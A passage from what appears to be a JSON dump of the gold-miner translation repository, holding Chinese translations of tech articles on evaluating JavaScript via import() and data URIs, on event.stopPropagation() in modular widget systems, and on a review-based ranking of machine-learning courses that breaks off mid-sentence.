align=\"left\"><p>用于签名交易的莱特币主账户的第二个私钥</p></td>\n</tr>\n</tbody>\n</table>\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/eval-via-import.md",
    "content": "> * 原文地址：[Evaluating JavaScript code via `import()`](https://2ality.com/2019/10/eval-via-import.html)\n> * 原文作者：[Dr. Axel Rauschmayer](http://dr-axel.de/)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/eval-via-import.md](https://github.com/xitu/gold-miner/blob/master/TODO1/eval-via-import.md)\n> * 译者：[EmilyQiRabbit](https://github.com/EmilyQiRabbit)\n> * 校对者：[quzhen12](https://github.com/quzhen12)，[weisiwu](https://github.com/weisiwu)\n\n# 使用 `import()` 执行 JavaScript 代码\n\n使用 [`import()` 操作符](https://exploringjs.com/impatient-js/ch_modules.html#loading-modules-dynamically-via-import)，我们可以动态加载 ECMAScript 模块。但是 `import()` 的应用不仅于此，它还可以作为 `eval()` 的替代品，用来执行 JavaScript 代码（[这一点是最近 Andrea Giammarchi 向我指出的](https://twitter.com/WebReflection/status/1171697666335662086)）。这篇博客将会解释这是如何实现的。\n\n## `eval()` 不支持 `export` 和 `import`\n\n`eval()` 的一大缺陷是：它不支持例如 `export` 和 `import` 这样的模块语法。\n\n但是如果放弃 `eval()` 而改为使用 `import()`，我们就可以执行带有模块的代码，在后文你将能看到这是如何实现的。\n\n未来，我们也许可以使用 [**Realms**](https://github.com/tc39/proposal-realms)，它也许会是能够支持模块的、更强大的下一代 `eval()`。\n\n## 使用 `import()` 执行简单的代码\n\n下面，我们从使用 `import()` 来执行 `console.log()` 开始学习：\n\n```js\nconst js = `console.log('Hello everyone!');`;\nconst encodedJs = encodeURIComponent(js);\nconst dataUri = 'data:text/javascript;charset=utf-8,'\n  + encodedJs;\nimport(dataUri);\n\n// 输出：\n// 'Hello everyone!'\n```\n\n这段代码执行后发生了什么？\n\n* 首先，我们创建了所谓的 [**数据 URI**](https://en.wikipedia.org/wiki/Data_URI_scheme)。这种类型的 URI 协议是 `data:`。URI 的剩余部分中包含了所有资源的编码，而不是指向资源本身的地址。这样，数据 URI 就包含了一个完整的 ECMAScript 模块 —— 它的 content 类型是 `text/javascript`。\n* 然后我们动态引入模块，于是代码被执行。\n\n注意：这段代码只能在浏览器中运行。在 Node.js 环境中，`import()` 不支持数据 URI。\n\n### 获取被执行模块的导出\n\n由 `import()` 返回的 Promise 的完成态是一个模块命名空间对象。这让我们可以获取到模块的默认导出以及命名导出。在下面的例子中，我们获取得是默认导出：\n\n```js\nconst js = `export default 'Returned value'`;\nconst dataUri = 'data:text/javascript;charset=utf-8,'\n  + encodeURIComponent(js);\nimport(dataUri)\n  .then((namespaceObject) => {\n    assert.equal(namespaceObject.default, 'Returned value');\n  });\n```\n\n## 使用标记模版创建数据 URI\n\n使用一个适当的方法 `esm`（后文我们会看到该方法是如何实现的），我们可以重写上文的例子，并通过一个[标记模版](https://exploringjs.com/impatient-js/ch_template-literals.html#tagged-templates)创建数据 URI：\n\n```js\nconst dataUri = esm`export default 'Returned value'`;\nimport(dataUri)\n  .then((namespaceObject) => {\n    assert.equal(namespaceObject.default, 'Returned value');\n  });\n```\n\n`esm` 的实现如下：\n\n```js\nfunction esm(templateStrings, ...substitutions) {\n  let js = templateStrings.raw[0];\n  for (let i=0; i<substitutions.length; i++) {\n    js += substitutions[i] + templateStrings.raw[i+1];\n  }\n  return 'data:text/javascript;base64,' + btoa(js);\n}\n```\n\n我们把编码方式从 `charset=utf-8` 切换为 `base64`，它们两者的对比如下：\n\n* 源代码：`'a' < 'b'`\n* 第一个数据 URI：`data:text/javascript;charset=utf-8,'a'%20%3C%20'b'`\n* 第二个数据 URI：`data:text/javascript;base64,J2EnIDwgJ2In`\n\n每种编码方式都各有利弊：\n\n* `charset=utf-8`（又称百分号编码）的优势：\n    * 大部分源码仍具有可读性。\n* `base64` 的优势：\n    * URI 更精短。\n    * 更易嵌套（后文我们会看到），因为它不包含任何如撇号这样的特殊字符。\n\n`btoa()` 是一个用来将字符串编码为 base 64 代码的全局工具函数。注意：\n\n* 在 Node.js 环境下不可用。\n* 仅对码点值在 0 至 255 范围内的 Unicode 字符有效。\n\n## 执行引用了其他模块的模块\n\n通过标记模版，我们可以嵌套数据 URI，并编码引用了 `m1` 模块的 `m2` 模块：\n\n```js\nconst m1 = esm`export function f() { return 'Hello!' }`;\nconst m2 = esm`import {f} from '${m1}'; export default f()+f();`;\nimport(m2)\n  .then(ns => assert.equal(ns.default, 'Hello!Hello!'));\n```\n\n## 扩展阅读\n\n* [关于数据 URIs 的维基百科](https://en.wikipedia.org/wiki/Data_URI_scheme)\n* [“JavaScript for impatient programmers” 中关于 `import()` 的章节](https://exploringjs.com/impatient-js/ch_modules.html#loading-modules-dynamically-via-import)\n* [“JavaScript for impatient programmers” 中关于标签模版的章节](https://exploringjs.com/impatient-js/ch_template-literals.html#tagged-templates)\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/event-stoppropagation-in-a-modular-system.md",
    "content": "> * 原文地址：[event.stopPropagation() in a modular system](https://www.moxio.com/blog/19/event-stoppropagation-in-a-modular-system)\n> * 原文作者：[Frits van Campen](https://www.moxio.com/blog/blogger/7/frits-van-campen)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/event-stoppropagation-in-a-modular-system.md](https://github.com/xitu/gold-miner/blob/master/TODO1/event-stoppropagation-in-a-modular-system.md)\n> * 译者：[Fengziyin1234](https://github.com/Fengziyin1234)\n> * 校对者：[sworder](https://github.com/hanxiansen) [shixi-li](https://github.com/shixi-li)\n\n# 模块化系统中的 event.stopPropagation() \n\n![](https://www.moxio.com/documents/gfx/page_images/blog.header_1.png)\n\n在 Moxio，我们通过叫 widgets 的模块来构建网络应用。一个 widget 里面包含一些逻辑，它将控制一小部分 HTML。就像是 checkbox 元素或者一组其它的 widgets。一个 widget 可以申明它需要的数据和依赖关系，并且可以选择传递资源去它的子组件。模块化可以很好的来管理复杂度，因为所有的资源传输的渠道都被很明确的定义了。模块化也可以允许你通过不同的组合方式来复用 widgets。JavaScript 想要真正的确保模块化约定是有点小困难的，因为你总是可以访问全局作用域，当然，我们也有办法来解决这个问题。\n\n## JavaScript 中的模块化设计\n\n原生 JavaScript 的 API 在设计中并没有考虑到模块化；默认情况下，你可以访问到全局作用域（`global_ scope`）。我们通过将全局资源封装在根目录并向下层传递的方式，来让 wigets 获得到这些资源。我们对一些资源进行了封装，比如 LocalStorage，页面的 URL 以及 viewport（为了观察在页面内的坐标）。我们还封装 DOMElements 和事件。通过这些封装器，我们可以限制和调整功能，进而保证模块化约定的完整。例如：一个 click 事件 可能知道 shift 键是否被按，但是你没法知道 click 事件的目标是什么，因为该点击事件的目标可能是在另一个 widget 内。这个看起来可能有非常大的限制性，但是直到目前，我们还没有发现需要直接暴露目标的需求。\n\n对于每一个特征，我们都找到了一种不破化模块化约定的方法来表达它们。这也引出了我对于 `event.stopPropagation()` 的分析。我们是否需要它？我们如何能够提供它的功能？\n\n## stopPropagation 的栗子🌰\n\n思考一下这个 HTML 的例子：\n\n```html\n<div class=\"table\">\n    <div class=\"body\">\n        <div class=\"row open\">\n            <div class=\"columns\">\n                <div class=\"cell\">\n                    <span class=\"bullet\"></span>\n                    <input type=\"checkbox\" />\n                    Lorem ipsum dolor sit amet\n                </div>\n                <div class=\"cell\"><a href=\"/lorem-ipsum\">Lorem ipsum</a></div>\n            </div>\n            <div class=\"contents\">\n                <p>Lorem ipsum dolor sit amet, consectetur adipiscing elit.</p>\n            </div>\n        </div>\n        <!-- more rows -->\n    </div>\n</div>\n```\n\n加了一点 CSS 后它变成了这样：\n\n![](https://www.moxio.com/documents/gfx/blog.stoppropagation.png)\n\n我们有如下一些交互：\n\n*   点击 checkbox 将选中和取消它，并且使得所在行被“选择”\n*   点击第二格里的链接将会打开对应地址\n*   点击任何一行将会打开或者关闭该行下显示“内容”\n\n### JavaScript 的事件模型\n\n让我们一起快速的过一遍`事件`在 JavaScript 中是怎么运作的。当你点击一个元素节点（例如一个 checkbox），一个事件诞生，首先它沿着节点树向下传递：table > body > row > columns > cell > input。这是捕捉（capturing）阶段。然后，这个事件按照相反的顺序向上传递，这个冒泡（bubble）阶段：input > cell > columns > row > body > table.\n\n这意味着，对于 checkbox 的点击会造成一个在 checkbox 和 row 上的 click 事件。我们不希望点击 checkbox 会打开/关闭 row，所以我们需要查明这一点。这里我们也就引入了 stopPropagation。\n\n```javascript\nfunction on_checkbox_click(event) {\n    toggle_checkbox_state();\n    event.stopPropagation(); // prevent this event from bubbling up\n}\n```\n\n如果处于冒泡（bubble）阶段时，你在 checkbox 中的 click 事件的监听器中加入了 `event.stopPropagation()`，那么这个事件将不会继续向上冒泡传递，也就永远不会到达 row 节点。也就简单明了实现了我们所期待的交互。\n\n## 预期之外的交互\n\n然而，使用 stopPropagation 有一个副作用。点击 checkbox 的事件将 `完全` 不再向上传递。我们的初衷是屏蔽在 row 节点上的点击事件，但我们也屏蔽了所有的父节点。例如说我们有一个如果点击在其他地方，就会被关闭的打开着的菜单。那么那个简单明了的 click 监听器就不再适用，因为我们的 click 事件可能会“消失”。我们依旧能够使用捕捉（capturing）阶段，但是又有什么能够阻止位于父节点中的一个 widget 来屏蔽掉那个事件呢？`stopPropagation` 给我们的模块化带来了矛盾。似乎，在捕捉（capturing）和 冒泡（bubble）阶段中，**禁止在 widgets 中加入 event propagation** 的才是众望所归的选择。\n\n如果我们从封装器中移除对于 stopPropagation 的支持，我们还能够实现我们的上述的交互么？可以的，但是将会很混乱。我们可以做一些簿记，通过记录的方式知晓什么时候我们应该忽略 row 节点上的 click 事件，或者我们可以新建一个事件的目标，又或者我们让你知道事件在哪发生。我们实验了一些解决方法，但是我们并不太喜欢它们。\n\n通过簿记来解决的例子：\n\n```javascript\nvar checkbox_was_clicked = false;\n\nfunction on_checkbox_click() {\n    checkbox_was_clicked = true;\n    handle_checkbox_click();\n}\n\nfunction on_row_click() {\n    if (checkbox_was_clicked === false) {\n        handle_row_click();\n    }\n    checkbox_was_clicked = false;\n}\n```\n\n你可以看出，当我们希望屏蔽更多的元素节点（例如第二行的链接），或者希望屏蔽的元素在次级的 widget 时，这个解决方法将会变得多么的笨重。\n\n## 一个概念上的解决方式\n\n我们可以做的更好。这里有这样一个概念。我们还没有给它想好一个名字，但我们考虑叫它 `significant action`（重大的动作） 类似的名字。当你 click 时，你总是有一个最主要的动作：不管是打开/关闭 row 节点 还是 checkbox，但从来不会是二者同时发生。从 UX 设计的角度来说这很道理的。我的第一个想法是 `stopPropagation` 不应该停止冒泡（bubble），而应该在事件中设定一个标志来表明，一个重要的动作已经被执行了。这个方法的缺点是对于每一个可交互的元素节点来说（checkbox，link，button 等等），你都需要为它们添加一个事件触发（handler）来设置这个标志。那看起来会很是很大的工作量。我们可以稍微改进一点：对于交互元素节点，我们已经知道它们有`significant action`，所以如果目标是交互元素节点，那么就自动设定 `significant` 标志。当我们把这样的逻辑实现在我们的事件封装器时，row 节点现在只需要去检查 `significant` 标志，那么我们就可以忽略来自第一列的 checkbox 和 第二列的链接的点击事件了。\n\n我们可以这样实现我们 row 的 click 事件触发：\n\n```javascript\nfunction on_row_click(event) {\n    if (event.is_handled() === false) { // this event had no significant action\n        toggle_row_open_state();\n    }\n}\n```\n\n## 总结\n\n我经常被 JavaScript 和它的原生库的设计中的前瞻性所惊艳。总体来说，它工作的很好。它那一种`选择你自己的冒险`式的 API 支持很多的工作流程，也包括我们的。我们的模块化设计和封装让我们可以在原生库上增加我们的概念。我们可以填海移山。\n\n我们依旧允许 `stopPropagation` 的使用，但是我们不鼓励。`significant - 标志`已经在很多的 checkbox-table 中实现了，欢乐多多哟。\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/every-single-machine-learning-course-on-the-internet-ranked-by-your-reviews.md",
    "content": "> * 原文地址：[Every single Machine Learning course on the internet, ranked by your reviews](https://medium.freecodecamp.org/every-single-machine-learning-course-on-the-internet-ranked-by-your-reviews-3c4a7b8026c0)\n> * 原文作者：[David Venturi](https://medium.freecodecamp.org/@davidventuri?source=post_header_lockup)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/every-single-machine-learning-course-on-the-internet-ranked-by-your-reviews.md](https://github.com/xitu/gold-miner/blob/master/TODO1/every-single-machine-learning-course-on-the-internet-ranked-by-your-reviews.md)\n> * 译者：[davelet](https://github.com/davelet)\n> * 校对者：[Ivocin](https://github.com/Ivocin), [lsvih](https://github.com/lsvih)\n\n# 基于评论的机器学习在线课程排名\n\n![](https://cdn-images-1.medium.com/max/2000/1*vBLkfW8S-ZqHb8TmNEW1XA.jpeg)\n\n_Kaboompics_ **的[木头人](https://www.pexels.com/photo/wooden-robot-6069/)**\n\n一年半以前，我退出了加拿大最好的计算机科学课程之一，开始使用线上资源创建我自己的[数据科学研究生课程](https://medium.com/@davidventuri/i-dropped-out-of-school-to-create-my-own-data-science-master-s-here-s-my-curriculum-1b400dcee412#.5fwwphdqd)。我意识到只要通过 edX、Coursera 和 Udacity 就能学到所有我需要的东西，而且学习得更快更高效，学费还比大学低！\n\n现在我马上就完成了！我学习了很多数据科学相关的课程而且评估了更多课程的部分内容。我知道了如何选择，也知道了什么技能对于打算成为数据分析师或者数据科学家的学员是必需的。所以我创建了一个评论驱动的指南，该指南推荐了数据科学领域内各学科最好的课程。\n\n在本系列的第一篇指南中我给刚入门的数据科学家们先推荐一些[编码课程](https://medium.freecodecamp.com/if-you-want-to-learn-data-science-start-with-one-of-these-programming-classes-fb694ffe780c#.42hhzxopw)，然后是[概率统计课程](https://medium.freecodecamp.com/if-you-want-to-learn-data-science-take-a-few-of-these-statistics-classes-9bbabab098b9#.p7pac546r)，然后是[数据科学概论](https://medium.freecodecamp.com/i-ranked-all-the-best-data-science-intro-courses-based-on-thousands-of-data-points-db5dc7e3eb8e)，还有[数据可视化](https://medium.freecodecamp.com/an-overview-of-every-data-visualization-course-on-the-internet-9ccf24ea9c9b)。\n\n### 欢迎来到机器学习\n\n我为了这篇指导花费了十几个小时尝试找出截至到 2017 年 5 月的所有在线课程，从这些课程的摘要和评论中提取了关键信息，并搜集了它们的评分。**我最终的目标本来是找出最好的三门课程呈现出来以飨读者。**\n\n为了实现这个目标，我特意到开源社区 Class Central，它的数据库中有数以千计的课程评分和评论。\n\n![](https://cdn-images-1.medium.com/max/1000/1*u1dxHyShejSN3cgXGFQIAA.png)\n\n*Class Central* **的[主页](https://www.class-central.com/)**。\n\n自从 2011 年起，[Class Central](https://www.class-central.com/) 的创始人 [Dhawal Shah](https://medium.com/@dhawalhs) 可以毫无争议地说比世界上其他任何人都更加关注在线课程。Dhawal 个人也帮我一起收集了这个资源列表。\n\n### 我们如何甄选课程\n\n每一门课程都必须满足如下三条准则：\n\n1.  **必须包含大量的机器学习内容**。原则上机器学习应该是首要主题。注意，只涉及深度学习的课程应该被排除，后面会详述。\n2.  **必须按需或每隔几个月提供一次。**\n3.  **必须是可交互的在线课程，不能使用书本或只读的指南**。尽管那些也是学习的途径，但是这里只关注课程。完全的视频教程（也就是说没有测验或课后作业等）也要排除。\n\n我相信我们已经包含了所有符合上述准则值得关注的课程。[Udemy](https://click.linksynergy.com/fs-bin/click?id=SAyYsTvLiGQ&subid=&offerid=323058.1&type=10&u1=medium-career-guide-machine-learning&tmpid=14494&RD_PARM1=https%253A%252F%252Fwww.udemy.com%252F) 上面有几百门课程，我们只选择其中留言最多、评分最高的课程。\n\n不过由于精力有限，一定还是有可能我们会忽略掉某课程的。如果你发现我们漏掉了一门好课程，请在评论区留言让我们知道。\n\n### 我们如何评估课程\n\n我们从 Class Central 以及其他点评网站汇集了每门课程的平均评分和评论的数量，以此来计算它们的加权平均分。我们阅读了文字评论，通过那些课程反馈来补充分数。\n\n我们根据三个因素进行了教学大纲的主观判断：\n\n1.  **对机器学习工作流程的解释程度**。课程是否描绘了成功运行一个 ML 工程的必要步骤？ 有关典型工作流程的含义，请参阅下一节。\n2.  **对机器学习技术和算法的覆盖程度**。是否涉及了各种技术（例如回归、分类、聚类等）和相关算法（比如分类算法：朴素贝叶斯、决策树、支持向量机等），还是只简单挑选了几个？我们更倾向没有省略细节的、覆盖更多机器学习技术和算法内容的课程。\n3.  **对通用数据科学和机器学习工具的使用程度**。课程教学上是否使用了流行的编程语言，比如 Python、R 或 Scala？对这些语言的流行类库使用如何？这些当然不是必需的但是是有用的，所以对这些课程我们略有偏好。\n\n### 什么是机器学习？工作流程如何？\n\n一个流行的定义起源于 1959 年 [Arthur Samuel](https://en.wikipedia.org/wiki/Arthur_Samuel \"Arthur Samuel\") 的说法：机器学习是计算机科学的一个分支，能够“**让计算机自主学习而无需显式编程**”。实践中，这意味着开发的计算机程序可以根据数据进行预测。就像人类可以根据经验学习一样，计算机也可以。对于计算机，数据 = 经验。\n\n机器学习工作流程是执行机器学习项目所需的过程。尽管单个项目可能不同，但是绝大多数工作流程都需要这么几个通用任务：问题评估，数据探索，数据预处理，模型训练、测试、部署，等等。下面你会看到这些核心步骤有用的可视化展示：\n\n![](https://cdn-images-1.medium.com/max/1000/1*KzmIUYPmxgEHhXX7SlbP4w.jpeg)\n\n[UpX Academy](https://upxacademy.com/introduction-machine-learning/) 提供的典型机器学习工作流程核心步骤\n\n理想的课程能够介绍完整的过程并提供交互式的例子、课后作业、小测试，学员们能自己完成每个任务。\n\n### 这些课程包含了深度学习吗？\n\n首先咱们来定义一下深度学习。简洁点的定义是：\n\n> “深度学习是机器学习的一个分支，关注的是受大脑结构和功能启发的人工神经网络算法。”\n\n> — Jason Brownlee，来自[掌握机器学习](http://machinelearningmastery.com/what-is-deep-learning/)\n\n可能如你所希望的，我们的课程正好有一些包含了深度学习的内容。但我是没有选择那些只包含深度学习的课程的。如果你就是对深度学习感兴趣，我们建议你学习一下下面的[文章](https://medium.freecodecamp.com/dive-into-deep-learning-with-these-23-online-courses-bf247d289cc0)：\n\n* [在线 12 课深入理解深度学习：每天都有关于深度学习如何改变我们周围世界的头条。几个例子：](https://medium.freecodecamp.com/dive-into-deep-learning-with-these-23-online-courses-bf247d289cc0 \"https://medium.freecodecamp.com/dive-into-deep-learning-with-these-23-online-courses-bf247d289cc0\")\n\n列表里面我最推荐的 TOP 3 是：\n\n*   **[使用 TensorFlow 编写深度学习创意应用](https://www.class-central.com/mooc/6679/kadenze-creative-applications-of-deep-learning-with-tensorflow)**，Kadenze\n*   **[用于机器学习的神经网络](https://www.class-central.com/mooc/398/coursera-neural-networks-for-machine-learning)**，多伦多大学 (Geoffrey Hinton执教) 发布于 Coursera\n*   **[深度学习 A-Z™：手把手教你写人工神经网络](https://click.linksynergy.com/fs-bin/click?id=SAyYsTvLiGQ&subid=&offerid=323058.1&type=10&u1=medium-career-guide-machine-learning&tmpid=14538&RD_PARM1=https%3A%2F%2Fwww.udemy.com%2Fdeeplearning%2F)**，Kirill Eremenko，Hadelin de Ponteves 和 SuperDataScience Team 发布于 Udemy\n\n### 推荐的先修课程\n\n下面列出的一些课程要求学员有编程、微积分、线性代数和统计学经验。鉴于机器学习是一门高级学科，这些先修课程是可以理解的。\n\n有些科目不懂？好消息！其中一些经验可以通过我们在头两篇关于“数据科学生涯指导”的推荐文章（[编程](https://medium.freecodecamp.com/if-you-want-to-learn-data-science-start-with-one-of-these-programming-classes-fb694ffe780c#.ld31z08y5), [统计学](https://medium.freecodecamp.com/if-you-want-to-learn-data-science-take-a-few-of-these-statistics-classes-9bbabab098b9)）中学习到。下面的几个顶级课程还提供了简单的微积分和线性代数复习，并着重突出了与那些不太熟悉的机器学习最相关的方面。\n\n### 我们甄选的最佳机器学习课程是……\n\n*   [机器学习](https://www.class-central.com/mooc/835/coursera-machine-learning)，斯坦福大学发布于 Coursera\n\n斯坦福大学发布在 Coursera 的[机器学习](https://www.class-central.com/mooc/835/coursera-machine-learning)在评分、评论和大纲匹配上是目前最明确的赢家。课程由著名的 Andrew Ng 讲授，他是 Google 大脑的创始人，[百度](https://en.wikipedia.org/wiki/Baidu)的前首席科学家。这是促成了 Coursera 成立的课程。它有 422 条评论，加权平均得分 4.7 星。\n\n这门课程发布于 2011 年，涵盖了机器学习工作流程的所有方面。尽管它比自身基于的最初的斯坦福大学课程范围小了一点，依然成功包含了大量的技术和算法。预估的时间是 11 周，包括两周的神经网络和深度学习。课程还提供了免费版和收费版两种选择。\n\nNg 是一位有活力而又温柔的导师，而且经验丰富。他激励自信，尤其是在分享实际实施技巧和常见陷阱警告的时候。他帮助学员复习线性代数并强调与机器学习最相关的微积分知识。\n\n\n课程评价由每节课后的多项选择测验和编程作业自动完成。这些作业（一共有八次）可以使用 MATLAB 或 Octave 完成，后者是 MATLAB 的一个开源版本。Ng 常解释他对语言的选择：\n\n> 以前我总是尝试使用各种不同的语言讲授机器学习，包括 C++、Java、Python 和 NumPy，当然还有 Octave，等等。在我教了十年机器学习之后我发现使用 Octave 做为编程环境会让你学得最快。\n\n尽管 Python 和 R 在 2017 年有着[上升的人气](http://blog.codeeval.com/codeevalblog/2016/2/2/most-popular-coding-languages-of-2016)，似乎更引人注目，评论家们注意到那不应该阻止你学习这门课。\n\n一些着名评论家注意到以下内容：\n\n> 作为 MOOC 世界中长期以来的知名课程，斯坦福大学的机器学习确实是这一主题的权威介绍。该课程广泛涵盖了机器学习的所有主要领域。Ng 教授在每个部分之前都有激励性的讨论和例子。\n\n> Andrew Ng 是一位有天赋的老师，能够以相当直观清晰的方式解释复杂主题，包括概念后面的数学原理。强烈推荐！\n\n> 我看这门课的唯一问题是，它是否为其他课程设置了太高的期望值。\n\n![](https://cdn-images-1.medium.com/max/800/1*viCB-ayFFQi-4Fs_NYLVVQ.png)\n\n* YouTube 视频链接：https://youtu.be/e0WKJLovaZg\n\nAndrew Ng 的[机器学习](https://www.class-central.com/mooc/835/coursera-machine-learning)课程预览视频。\n\n### 一门由杰出教授讲授的常春藤大学课程\n\n*   [机器学习](https://www.class-central.com/mooc/7231/edx-machine-learning)（哥伦比亚大学发布于 edX ）\n\n哥伦比亚大学的[机器学习](https://www.class-central.com/mooc/7231/edx-machine-learning)是他们发布在 edX 上的《人工智能微硕士》（Artificial Intelligence MicroMasters）课程的一个相当新的部分（**译者注**：《微硕士》课程是由 edX 推出的一系列在线研究生课程，可以用来学习职业发展的独立技能或从各自大学获得研究生同等学力证书，相当于一个完整硕士学位的学期）。尽管它太新了还没有太多的评论，但是已有的评论却异常给力。授课教授 John Paisley 以杰出、授课简杰、聪明而闻名。这门课程有 10 条评论，加权平均得分 4.8 星。\n\n这门课程覆盖了机器学习工作流程的全部方面，而且在算法上比上面的斯坦福课程还多。哥伦比亚的课程是更加高阶的入门课程，评论中有提到说学员需要很熟悉我们前面推荐的先修课程：微积分、线性代数、统计学、概率论和编程。\n\n它的毕业评估由 11 次测验、4 次编程作业和期末考试组成。学员们可自行选择 Python、Octave 或 MATLAB 完成作业。课程的总预计时长是 12 周，每周 8 到 10 课时。课程本身是免费的，不过提供认证证书可供购买。\n\n下面是一些上文提到的课程的高质量[评论](https://www.coursetalk.com/providers/edx/courses/machine-learning-5)：\n\n> 在当学生的这些年，我经历了各种教授：不够杰出的教授、自身杰出但是授课能力一般的教授、杰出而又擅长授课的教授。Paisley 博士就属于第三种。\n\n> 这门课太棒了！老师的语言太精准了，在我看来这也是这门课最突出的亮点之一。课程质量很高，PPT 也超棒。\n\n> Paisley 博士和他的导师都是机器学习之父迈克尔·乔丹的学生。Paisley 博士因为授课清晰成为哥伦比亚大学最好的 ML 教授。这个学期有将近 240 个学生选他的课，这个数字是哥伦比亚大学所有讲授机器学习的教授中最大的。\n\n![](https://cdn-images-1.medium.com/max/800/1*q4Qa-kxC6MXFwct_9635ug.png)\n\n* YouTube 视频链接：https://youtu.be/mANw77caYSI\n\n哥伦比亚大学发布于 edX 的《微硕士》课程预览视频。[机器学习](https://www.class-central.com/mooc/7231/edx-machine-learning)课程简介开始于大约 1:00。\n\n### 来自工业专家的 Python 和 R 实用简介\n\n*   [机器学习 A-Z™：手把手教你用 Python 和 R 实战数据科学](https://click.linksynergy.com/fs-bin/click?id=SAyYsTvLiGQ&subid=&offerid=323058.1&type=10&u1=medium-career-guide-machine-learning&tmpid=14538&RD_PARM1=https%3A%2F%2Fwww.udemy.com%2Fmachinelearning%2F)（Kirill Eremenko，Hadelin de Ponteves 和 SuperDataScience Team 发布于 Udemy）\n\n发布于 Udemy 的[机器学习 A-Z™](https://click.linksynergy.com/fs-bin/click?id=SAyYsTvLiGQ&subid=&offerid=323058.1&type=10&u1=medium-career-guide-machine-learning&tmpid=14538&RD_PARM1=https%3A%2F%2Fwww.udemy.com%2Fmachinelearning%2F) 课程的详细程度让人印象深刻，它同时提供了 Python 和 R 的实现用法。这是罕见的，其他任何顶级课程也不会有这种评价。它的评论数是在我们推荐课程中最高的，高达 8119 条，得到 4.5 星的加权平均得分。\n\n它覆盖了全部的机器学习工作流程，还通过 40.5 小时的按需视频教程提供了数量近乎荒谬（好的那种）的算法讲解。这门课比上面两门课更实用，数学要求也低。每个部分都以 Eremenko 的“直觉”视频开始，视频中总结了将被讲授的概念中的重要理论。然后 de Ponteves 会通过一些分开的视频讲述如何通过 Python 和 R 实现出来。\n\n一个“福利”是这门课程包含了 Python 和 R 的代码模版供学员下载以便在他们自己的项目中使用。课程也提供了测验和家庭作业挑战，不过不是这门课程的有力得分点。\n\nEremenko 和 SuperDataScience team 最受学员爱戴的是他们有能力“把复杂的事情搞简单”。此外，这门课程先修课程的要求也“只是一些高中数学”，所以对于被斯坦福和哥伦比亚课程难倒的学员可能是较好的选择。\n\n一些突出的评论者[强调了](https://www.udemy.com/machinelearning/#reviews)以下内容：\n\n> 这门课是专业出品，音质棒极了，释义也特别简洁清晰。你金钱和时间的投资绝对有难以估量的回报。\n\n> 在一门课中同时用两种语言学习简直太令人惊叹了。\n\n> Kirill 绝对是 Udemy 上最好的老师之一（如果不是在网上），我推荐他讲的所有课程。这门课有丰富的内容，丰富到爆！\n\n![](https://cdn-images-1.medium.com/max/800/1*gl_KL2hhIkodQpznSzu8ZA.png)\n\n* YouTube 视频链接：https://youtu.be/JbuYJTbmYEk\n\n[机器学习 A-Z™](https://click.linksynergy.com/fs-bin/click?id=SAyYsTvLiGQ&subid=&offerid=323058.1&type=10&u1=medium-career-guide-machine-learning&tmpid=14538&RD_PARM1=https%3A%2F%2Fwww.udemy.com%2Fmachinelearning%2F) 的预览视频。\n\n### 比拼\n\n我们的首选课程通过 422 条评论得到了 4.7 